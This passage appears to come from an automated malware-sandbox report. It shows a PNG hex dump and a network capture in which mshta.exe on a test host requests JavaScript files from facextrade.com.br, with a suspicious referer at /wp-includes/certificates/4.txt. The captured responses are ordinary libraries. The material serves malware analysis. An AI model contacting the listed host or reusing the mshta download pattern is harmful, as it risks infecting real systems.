22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 83 a1 68 6f 20 56 d9 c6 6c b6 95 57 65 5b 40 99 4c 4a 2a 88 d3 18 94 aa 80 6d 0c c4 03 00 33 cc 44 70 83 c9 c5 84 46 62 34 aa ac d6 9a 14 aa 85 aa d4 9e 43 63 f9 b4 dc 5c 7b b4 5f 8b 44 22 91 48 24 12 89 56 7a bc 38 dc 7b f2 64 82 d3 a1 8c 06 29 79 00 5f 0c 70 1e 40 83 89 39 1b 44 8a 01 97 a8 66 e0 30 31 be 02 e1 53 86 ba cf 6c 51 f7 8e cd ca aa 35 60 6d 89 44 22 91 48 24 12 43 e9 71 e2 f0 a3 ca ca 54 93 c7 7a a5 0a 4c 01 b8 80 18 a3 0d 12 81 62 30 1f 64 50 29 03 1f 32 3c ef 4c 18 d4 bf bc d3 f7 20 91 48 24 12 89 44 d2 8e 1e 21 0e 77 57 54 e5 81 69 2e 83 ae 01 f3 38 8a 86 18 ec 08 e6 03 4c d8 ca cc eb 8f 0e ec f7 de 3c 22 35 da 5b 92 48 24 12 89 44 d2 f3 e8 b6 e2 b0 ec 48 cd 70 55 51 6f 25 60 1e 40 c3 a2 bd 1f 11 98 51 0b f0 eb 50 e8 85 71 39 19 1f 44 7b 3f 12 89 44 22 91 48 7a 0e dd 4a 1c ee 3d 79 32 c1 e1 54 e6 11 e8 07 04 14 44 7b 3f 46 c0 8c c3 20 7e 96 55 ac 1a 9f db af 2a da fb 91 48 24 12 89 44 d2 bd e9 16 e2 b0 b4 a2 36 cb ac aa f7 00 7c 17 11 a5 84 b3 96 ca 8c ea ba 66 9c a8 6d c2 e9 86 16 d4 9d b3 a3 a1 d9 85 06 bb 13 2d 2e 0f 1a 5d 1e 34 b9 3c 50 99 01 00 16 45 81 cd ac 20 c9 62 82 cd 62 42 6f 9b 15 c9 09 16 a4 24 c5 21 bd 77 02 b2 d2 12 91 de 27 01 26 25 bc b7 9a c1 6e 02 bd ac aa fc e4 f8 dc 7e 7b c3 5a 4c 22 91 48 24 12 89 24 08 5d 5a 1c 7e 5c 71 6a a8 aa d2 23 4c 7c 1b 81 cc a2 f3 99 19 47 4e 36 e0 d0 f1 7a 1c ad 39 87 6f 6a 1a f1 59 63 0b 1a 54 36 74 9f 49 44 18 9b 1c 8f dc be 49 18 98 de 0b df c9 4e 41 6e ff 64 10 e9 7b fb 19 fc 1f 52 95 47 2f cb 4d 7f cf d0 8d 4a 24 12 89 44 22 e9 f1 74 49 71 b8 eb 68 d5 60 b0 b2 8c c0 b7 89 66 1a d7 d6 b7 60 cf 81 6a 7c 59 79 06 bb ab cf a2 dc e5 89 d4 36 43 32 c8 62 c2 a5 e9 c9 b8 64 60 5f 8c fe 4e 3a fa f6 8e 17 5f 84 f9 03 62 7e 28 3f 37 73 a7 f1 3b 94 48 24 12 89 44 d2 13 e9 52 e2 70 e7 81 da 64 25 4e 7d 04 e0 9f 12 c8 aa 75 de a9 ba 66 94 7e 71 12 65 e5 b5 78 af be 29 92 5b d4 cd 94 94 04 4c c8 4d c7 c4 bc 2c a4 a7 08 0b c5 d7 19 ea 03 e3 06 66 1e 8e c4 de 24 12 89 44 22 91 f4 1c ba 8c 38 dc 5d 5e fd 7d 06 1e 23 42 9a 96 f1 0e a7 1b a5 fb 4e 62 fb d7 55 d8 5a 7b 2e d2 db 33 0c 2b 80 2b d3 7a 61 ea c8 2c 4c b8 28 13 16 b3 49 d3 3c 06 3b 01 fa a3 62 76 2d cf 1f 30 a0 39 b2 bb 94 48 24 12 89 44 d2 5d 89 79 71 b8 eb 70 cd 30 52 d4 67 41 74 85 96 f1 d5 67 9a f1 ee Data Ascii: PNGIHDR9 IDATxy\|T?;K&!$#K@nEeVl.iRk!\.(,!I!d~?fIf=wd&yW=3K~w$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$ho VlWe[@LJm3DpFb4Cc\{_D"H$Vz8{d)y_p@9Df01SlQ5`mD"H$CqTzLb0dP)2<L H$D!wWTi.8L<"5[H$DHpUQo%`@QPq9D{?D"HzJ=y2TD{?F ~UH$D6\|fm-.]4<PE bbBo$!w'&%n~{ZL"H$$]Z~\qj#L\|GN6z9ojYcT6tIDINAnd{RG/MJ$D"tIqh`f`j\|Yy6C2bd`_N:_b~(?7s;H$DRpd%N}uf~qex)[LM,f$D"8]^}#BNbUZ{.3++za,L(I<;bv-09H$D]yqp0RgAtg

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	49784	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:06:00.123090982 CEST	2143	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:00.337941885 CEST	2148	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:04:18 GMT Server: Apache ETag: "a51459-15f88-5c93d38d98e41" Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT Content-Length: 89992 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 14386679 20835898 Age: 102 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a 20 53 45 45 20 4c 49 43 45 4e 53 45 20 49 4e 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 0a 20 2a 2f 0a 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 63 61 72 6f 75 73 65 6c 0a 20 2a 20 40 76 65 72 73 69 6f 6e 20 32 2e 33 2e 34 0a 20 2a 20 40 61 75 74 68 6f 72 20 42 61 72 74 6f 73 7a 20 57 6f 6a 63 69 65 63 68 6f 77 73 6b 69 0a 20 2a 20 40 61 75 74 68 6f 72 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 40 6c 69 63 65 6e 73 65 20 54 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 4d 49 54 29 0a 20 2a 20 40 74 6f 64 6f 20 4c 61 7a 79 20 4c 6f 61 64 20 49 63 6f 6e 0a 20 2a 20 40 74 6f 64 6f 20 70 72 65 76 65 6e 74 20 61 6e 69 6d 61 74 69 6f 6e 65 6e 64 20 62 75 62 6c 69 6e 67 0a 20 2a 20 40 74 6f 64 6f 20 69 74 65 6d 73 53 63 61 6c 65 55 70 0a 20 2a 20 40 74 6f 64 6f 20 54 65 73 74 20 5a 65 70 74 6f 0a 20 2a 20 40 74 6f 64 6f 20 73 74 61 67 65 50 61 64 64 69 6e 67 20 63 61 6c 63 75 6c 61 74 65 20 77 72 6f 6e 67 20 61 63 74 69 76 65 20 63 6c 61 73 73 65 73 0a 20 2a 2f 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 24 2c 20 77 69 6e 64 6f 77 2c 20 64 6f 63 75 6d 65 6e 74 2c 20 75 6e 64 65 66 69 6e 65 64 29 20 7b 0a 0a 09 2f 2a 2a 0a 09 20 2a 20 43 72 65 61 74 65 73 20 61 20 63 61 72 6f 75 73 65 6c 2e 0a 09 20 2a 20 40 63 6c 61 73 73 20 54 68 65 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 2e 0a 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 48 54 4d 4c 45 6c 65 6d 65 6e 74 7c 6a 51 75 65 72 79 7d 20 65 6c 65 6d 65 6e 74 20 2d 20 54 68 65 20 65 6c 65 6d 65 6e 74 20 74 6f 20 63 72 65 61 74 65 20 74 68 65 20 63 61 72 6f 75 73 65 6c 20 66 6f 72 2e 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 4f 62 6a 65 63 74 7d 20 5b 6f 70 74 69 6f 6e 73 5d 20 2d 20 54 68 65 20 6f 70 74 69 6f 6e 73 0a 09 20 2a 2f 0a 09 66 75 6e 63 74 69 6f 6e 20 4f 77 6c 28 65 6c 65 6d 65 6e 74 2c 20 6f 70 74 69 6f 6e 73 29 20 7b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 43 75 72 72 65 6e 74 20 73 65 74 74 69 6e 67 73 20 66 6f 72 20 74 68 65 20 63 61 72 6f 75 73 65 6c 2e 0a 09 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 73 65 74 74 69 6e 67 73 20 3d 20 6e 75 6c 6c 3b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 43 75 72 72 65 6e 74 20 6f 70 74 69 6f 6e 73 20 73 65 74 20 62 79 20 74 68 65 20 63 61 6c 6c 65 72 20 69 6e 63 6c 75 64 69 6e 67 20 64 65 66 61 75 6c 74 73 2e 0a 09 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 6f 70 74 69 6f 6e 73 20 3d 20 24 2e 65 78 74 65 6e 64 28 7b 7d 2c 20 4f Data Ascii: /** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE //* * Owl carousel * @version 2.3.4 * @author Bartosz Wojciechowski * @author David Deutsch * @license The MIT License (MIT) * @todo Lazy Load Icon * @todo prevent animationend bubling * @todo itemsScaleUp * @todo Test Zepto * @todo stagePadding calculate wrong active classes /;(function($, window, document, undefined) {/* * Creates a carousel. * @class The Owl Carousel. * @public * @param {HTMLElement\|jQuery} element - The element to create the carousel for. * @param {Object} [options] - The options /function Owl(element, options) {/* * Current settings for the carousel. * @public /this.settings = null;/* * Current options set by the caller including defaults. * @public */this.options = $.extend({}, O
Aug 16, 2022 11:06:00.337985039 CEST	2150	IN	Data Raw: 77 6c 2e 44 65 66 61 75 6c 74 73 2c 20 6f 70 74 69 6f 6e 73 29 3b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 50 6c 75 67 69 6e 20 65 6c 65 6d 65 6e 74 2e 0a 09 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 24 65 6c 65 6d Data Ascii: wl.Defaults, options);/** * Plugin element. * @public /this.$element = $(element);/* * Proxied event handlers. * @protected /this._handlers = {};/* * References to the running plugins of this carousel
Aug 16, 2022 11:06:00.338139057 CEST	2151	IN	Data Raw: 65 63 74 65 64 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 5f 69 6e 76 61 6c 69 64 61 74 65 64 20 3d 20 7b 7d 3b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 4f 72 64 65 72 65 64 20 6c 69 73 74 20 6f 66 20 77 6f 72 6b 65 72 73 20 66 6f 72 20 74 68 65 20 Data Ascii: ected /this._invalidated = {};/* * Ordered list of workers for the update process. * @protected /this._pipe = [];/* * Current state information for the drag operation. * @todo #261 * @protected */th
Aug 16, 2022 11:06:00.338231087 CEST	2152	IN	Data Raw: 20 74 72 75 65 2c 0a 09 09 70 75 6c 6c 44 72 61 67 3a 20 74 72 75 65 2c 0a 09 09 66 72 65 65 44 72 61 67 3a 20 66 61 6c 73 65 2c 0a 0a 09 09 6d 61 72 67 69 6e 3a 20 30 2c 0a 09 09 73 74 61 67 65 50 61 64 64 69 6e 67 3a 20 30 2c 0a 0a 09 09 6d 65 Data Ascii: true,pullDrag: true,freeDrag: false,margin: 0,stagePadding: 0,merge: false,mergeFit: true,autoWidth: false,startPosition: 0,rtl: false,smartSpeed: 250,fluidSpeed: false,dragEndSpeed: false,responsiv
Aug 16, 2022 11:06:00.338285923 CEST	2154	IN	Data Raw: 27 2c 20 27 73 65 74 74 69 6e 67 73 27 20 5d 2c 0a 09 09 72 75 6e 3a 20 66 75 6e 63 74 69 6f 6e 28 63 61 63 68 65 29 20 7b 0a 09 09 09 63 61 63 68 65 2e 63 75 72 72 65 6e 74 20 3d 20 74 68 69 73 2e 5f 69 74 65 6d 73 20 26 26 20 74 68 69 73 2e 5f Data Ascii: ', 'settings' ],run: function(cache) {cache.current = this._items && this._items[this.relative(this._current)];}}, {filter: [ 'items', 'settings' ],run: function() {this.$stage.children('.cloned').remove();}}, {fi
Aug 16, 2022 11:06:00.338325977 CEST	2155	IN	Data Raw: 09 09 09 09 69 74 65 6d 73 20 3d 20 74 68 69 73 2e 5f 69 74 65 6d 73 2c 0a 09 09 09 09 73 65 74 74 69 6e 67 73 20 3d 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2c 0a 09 09 09 09 2f 2f 20 54 4f 44 4f 3a 20 53 68 6f 75 6c 64 20 62 65 20 63 6f 6d 70 Data Ascii: items = this._items,settings = this.settings,// TODO: Should be computed from number of min width items in stageview = Math.max(settings.items * 2, 4),size = Math.ceil(items.length / 2) * 2,repeat = settings.loop &
Aug 16, 2022 11:06:00.338365078 CEST	2157	IN	Data Raw: 6f 6f 72 64 69 6e 61 74 65 73 20 3d 20 63 6f 6f 72 64 69 6e 61 74 65 73 3b 0a 09 09 7d 0a 09 7d 2c 20 7b 0a 09 09 66 69 6c 74 65 72 3a 20 5b 20 27 77 69 64 74 68 27 2c 20 27 69 74 65 6d 73 27 2c 20 27 73 65 74 74 69 6e 67 73 27 20 5d 2c 0a 09 09 Data Ascii: oordinates = coordinates;}}, {filter: [ 'width', 'items', 'settings' ],run: function() {var padding = this.settings.stagePadding,coordinates = this._coordinates,css = {'width': Math.ceil(Math.abs(coordinates[coor
Aug 16, 2022 11:06:00.338403940 CEST	2158	IN	Data Raw: 2e 5f 63 75 72 72 65 6e 74 29 29 3b 0a 09 09 7d 0a 09 7d 2c 20 7b 0a 09 09 66 69 6c 74 65 72 3a 20 5b 20 27 77 69 64 74 68 27 2c 20 27 70 6f 73 69 74 69 6f 6e 27 2c 20 27 69 74 65 6d 73 27 2c 20 27 73 65 74 74 69 6e 67 73 27 20 5d 2c 0a 09 09 72 Data Ascii: ._current));}}, {filter: [ 'width', 'position', 'items', 'settings' ],run: function() {var rtl = this.settings.rtl ? 1 : -1,padding = this.settings.stagePadding * 2,begin = this.coordinates(this.current()) + padding,
Aug 16, 2022 11:06:00.338443995 CEST	2159	IN	Data Raw: 3c 27 20 2b 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 73 74 61 67 65 45 6c 65 6d 65 6e 74 20 2b 20 27 3e 27 2c 20 7b 0a 09 09 09 22 63 6c 61 73 73 22 3a 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 73 74 61 67 65 43 6c 61 73 73 0a 09 09 7d 29 Data Ascii: <' + this.settings.stageElement + '>', {"class": this.settings.stageClass}).wrap( $( '<div/>', {"class": this.settings.stageOuterClass}));// append stagethis.$element.append(this.$stage.parent());};/** * Create item
Aug 16, 2022 11:06:00.338484049 CEST	2161	IN	Data Raw: 65 6e 74 2e 66 69 6e 64 28 27 69 6d 67 27 29 3b 0a 09 09 09 6e 65 73 74 65 64 53 65 6c 65 63 74 6f 72 20 3d 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 6e 65 73 74 65 64 49 74 65 6d 53 65 6c 65 63 74 6f 72 20 3f 20 27 2e 27 20 2b 20 74 68 69 73 Data Ascii: ent.find('img');nestedSelector = this.settings.nestedItemSelector ? '.' + this.settings.nestedItemSelector : undefined;width = this.$element.children(nestedSelector).width();if (imgs.length && width <= 0) {this.preloadAutoWid
Aug 16, 2022 11:06:00.557962894 CEST	2171	IN	Data Raw: 09 09 09 69 66 20 28 62 72 65 61 6b 70 6f 69 6e 74 20 3c 3d 20 76 69 65 77 70 6f 72 74 20 26 26 20 62 72 65 61 6b 70 6f 69 6e 74 20 3e 20 6d 61 74 63 68 29 20 7b 0a 09 09 09 09 09 6d 61 74 63 68 20 3d 20 4e 75 6d 62 65 72 28 62 72 65 61 6b 70 6f Data Ascii: if (breakpoint <= viewport && breakpoint > match) {match = Number(breakpoint);}});settings = $.extend({}, this.options, overwrites[match]);if (typeof settings.stagePadding === 'function') {settings.stagePadding
Aug 16, 2022 11:06:00.777517080 CEST	2262	OUT	GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:00.990060091 CEST	2286	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:04:20 GMT Server: Apache ETag: "a53560-301a-58592d4b67500" Last-Modified: Tue, 02 Apr 2019 21:29:24 GMT Content-Length: 12314 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 14386681 12289811 Age: 101 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 3b 77 69 6e 64 6f 77 2e 4d 6f 64 65 72 6e 69 7a 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 66 75 6e 63 74 69 6f 6e 20 42 28 61 29 7b 6a 2e 63 73 73 54 65 78 74 3d 61 7d 66 75 6e 63 74 69 6f 6e 20 43 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 42 28 6e 2e 6a 6f 69 6e 28 61 2b 22 3b 22 29 2b 28 62 7c 7c 22 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 3d 3d 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 45 28 61 2c 62 29 7b 72 65 74 75 72 6e 21 21 7e 28 22 22 2b 61 29 2e 69 6e 64 65 78 4f 66 28 62 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 64 20 69 6e 20 61 29 7b 76 61 72 20 65 3d 61 5b 64 5d 3b 69 66 28 21 45 28 65 2c 22 2d 22 29 26 26 6a 5b 65 5d 21 3d 3d 63 29 72 65 74 75 72 6e 20 62 3d 3d 22 70 66 78 22 3f 65 3a 21 30 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 47 28 61 2c 62 2c 64 29 7b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 61 29 7b 76 61 72 20 66 3d 62 5b 61 5b 65 5d 5d 3b 69 66 28 66 21 3d 3d 63 29 72 65 74 75 72 6e 20 64 3d 3d 3d 21 31 3f 61 5b 65 5d 3a 44 28 66 2c 22 66 75 6e 63 74 69 6f 6e 22 29 3f 66 2e 62 69 6e 64 28 64 7c 7c 62 29 3a 66 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 48 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3d 61 2e 63 68 61 72 41 74 28 30 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2b 61 2e 73 6c 69 63 65 28 31 29 2c 65 3d 28 61 2b 22 20 22 2b 70 2e 6a 6f 69 6e 28 64 2b 22 20 22 29 2b 64 29 2e 73 70 6c 69 74 28 22 20 22 29 3b 72 65 74 75 72 6e 20 44 28 62 2c 22 73 74 72 69 6e 67 22 29 7c 7c 44 28 62 2c 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 46 28 65 2c 62 29 3a 28 65 3d 28 61 2b 22 20 22 2b 71 2e 6a 6f 69 6e 28 64 2b 22 20 22 29 2b 64 29 2e 73 70 6c 69 74 28 22 20 22 29 2c 47 28 65 2c 62 2c 63 29 29 7d 66 75 6e 63 74 69 6f 6e 20 49 28 29 7b 65 2e 69 6e 70 75 74 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 2c 65 3d 63 2e 6c 65 6e 67 74 68 3b 64 3c 65 3b 64 2b 2b 29 74 5b 63 5b 64 5d 5d 3d 63 5b 64 5d 69 6e 20 6b 3b 72 65 74 75 72 6e 20 74 2e 6c 69 73 74 26 26 28 74 2e 6c 69 73 74 3d 21 21 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 61 74 61 6c 69 73 74 22 29 26 26 21 21 61 2e 48 54 4d 4c 44 61 74 61 4c 69 73 74 45 6c 65 6d 65 6e 74 29 2c 74 7d 28 22 61 75 74 6f 63 6f 6d 70 6c 65 74 65 20 61 75 74 6f 66 6f 63 75 73 20 6c 69 73 74 20 70 6c 61 63 65 68 6f 6c 64 65 72 20 6d 61 78 20 6d 69 6e 20 6d 75 6c 74 69 70 6c 65 20 70 61 74 74 65 72 6e 20 72 65 71 75 69 72 65 64 20 73 74 65 70 22 2e 73 70 6c 69 74 28 22 20 22 29 29 2c 65 2e 69 6e 70 75 74 74 79 70 65 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 2c 65 2c 66 2c 68 2c 69 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 69 3b 64 2b 2b 29 6b 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 66 3d 61 5b 64 5d 29 2c 65 3d 6b 2e 74 79 70 Data Ascii: ;window.Modernizr=function(a,b,c){function B(a){j.cssText=a}function C(a,b){return B(n.join(a+";")+(b\|\|""))}function D(a,b){return typeof a===b}function E(a,b){return!!~(""+a).indexOf(b)}function F(a,b){for(var d in a){var e=a[d];if(!E(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function G(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:D(f,"function")?f.bind(d\|\|b):f}return!1}function H(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");return D(b,"string")\|\|D(b,"undefined")?F(e,b):(e=(a+" "+q.join(d+" ")+d).split(" "),G(e,b,c))}function I(){e.input=function(c){for(var d=0,e=c.length;d<e;d++)t[c[d]]=c[d]in k;return t.list&&(t.list=!!b.createElement("datalist")&&!!a.HTMLDataListElement),t}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),e.inputtypes=function(a){for(var d=0,e,f,h,i=a.length;d<i;d++)k.setAttribute("type",f=a[d]),e=k.typ
Aug 16, 2022 11:06:00.993622065 CEST	2298	OUT	GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:01.210208893 CEST	2344	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:04:20 GMT Server: Apache ETag: "a534bd-434-58592d488ae40" Last-Modified: Tue, 02 Apr 2019 21:29:21 GMT Content-Length: 1076 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 14386683 20835902 Age: 100 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 62 2e 66 6e 2e 6a 66 6c 69 63 6b 72 66 65 65 64 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 65 29 7b 63 3d 62 2e 65 78 74 65 6e 64 28 21 30 2c 7b 66 6c 69 63 6b 72 62 61 73 65 3a 22 2f 2f 61 70 69 2e 66 6c 69 63 6b 72 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 66 65 65 64 73 2f 22 2c 66 65 65 64 61 70 69 3a 22 70 68 6f 74 6f 73 5f 70 75 62 6c 69 63 2e 67 6e 65 22 2c 6c 69 6d 69 74 3a 32 30 2c 71 73 74 72 69 6e 67 73 3a 7b 6c 61 6e 67 3a 22 65 6e 2d 75 73 22 2c 66 6f 72 6d 61 74 3a 22 6a 73 6f 6e 22 2c 6a 73 6f 6e 63 61 6c 6c 62 61 63 6b 3a 22 3f 22 7d 2c 63 6c 65 61 6e 44 65 73 63 72 69 70 74 69 6f 6e 3a 21 30 2c 75 73 65 54 65 6d 70 6c 61 74 65 3a 21 30 2c 69 74 65 6d 54 65 6d 70 6c 61 74 65 3a 22 22 2c 69 74 65 6d 43 61 6c 6c 62 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 7d 2c 63 29 3b 76 61 72 20 64 3d 63 2e 66 6c 69 63 6b 72 62 61 73 65 2b 63 2e 66 65 65 64 61 70 69 2b 22 3f 22 2c 66 3d 21 30 2c 67 3b 66 6f 72 28 67 20 69 6e 20 63 2e 71 73 74 72 69 6e 67 73 29 66 7c 7c 28 64 2b 3d 22 26 22 29 2c 64 2b 3d 67 2b 22 3d 22 2b 63 2e 71 73 74 72 69 6e 67 73 5b 67 5d 2c 66 3d 21 31 3b 72 65 74 75 72 6e 20 62 28 74 68 69 73 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 67 3d 62 28 74 68 69 73 29 2c 66 3d 74 68 69 73 3b 62 2e 67 65 74 4a 53 4f 4e 28 64 2c 66 75 6e 63 74 69 6f 6e 28 64 29 7b 62 2e 65 61 63 68 28 64 2e 69 74 65 6d 73 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 61 29 7b 69 66 28 64 3c 63 2e 6c 69 6d 69 74 29 7b 69 66 28 63 2e 63 6c 65 61 6e 44 65 73 63 72 69 70 74 69 6f 6e 29 7b 76 61 72 20 62 3d 0a 2f 3c 70 3e 28 2e 2a 3f 29 3c 5c 2f 70 3e 2f 67 2c 65 3d 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 3b 62 2e 74 65 73 74 28 65 29 26 26 28 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 3d 65 2e 6d 61 74 63 68 28 62 29 5b 32 5d 2c 76 6f 69 64 20 30 21 3d 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 26 26 28 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 3d 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 22 3c 70 3e 22 2c 22 22 29 2e 72 65 70 6c 61 63 65 28 22 3c 2f 70 3e 22 2c 22 22 29 29 29 7d 61 2e 69 6d 61 67 65 5f 73 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 73 22 29 3b 61 2e 69 6d 61 67 65 5f 74 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 74 22 29 3b 61 2e 69 6d 61 67 65 5f 6d 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 6d 22 29 3b 61 2e 69 6d 61 67 65 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 22 29 3b 61 2e 69 6d 61 67 65 5f 62 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 62 22 29 3b 64 65 6c 65 74 65 20 61 2e 6d 65 64 69 61 3b 69 66 28 63 2e 75 73 65 54 65 6d 70 6c 61 74 65 29 7b 76 61 72 20 62 3d 63 2e 69 74 65 6d 54 65 6d 70 6c 61 74 65 2c 68 3b 66 6f 72 28 68 20 69 6e 20 61 29 62 3d 62 2e 72 65 70 6c 61 63 65 28 52 65 67 45 78 70 28 22 7b 7b 22 2b 68 Data Ascii: (function(b){b.fn.jflickrfeed=function(c,e){c=b.extend(!0,{flickrbase:"//api.flickr.com/services/feeds/",feedapi:"photos_public.gne",limit:20,qstrings:{lang:"en-us",format:"json",jsoncallback:"?"},cleanDescription:!0,useTemplate:!0,itemTemplate:"",itemCallback:function(){}},c);var d=c.flickrbase+c.feedapi+"?",f=!0,g;for(g in c.qstrings)f\|\|(d+="&"),d+=g+"="+c.qstrings[g],f=!1;return b(this).each(function(){var g=b(this),f=this;b.getJSON(d,function(d){b.each(d.items,function(d,a){if(d<c.limit){if(c.cleanDescription){var b=/<p>(.*?)<\/p>/g,e=a.description;b.test(e)&&(a.description=e.match(b)[2],void 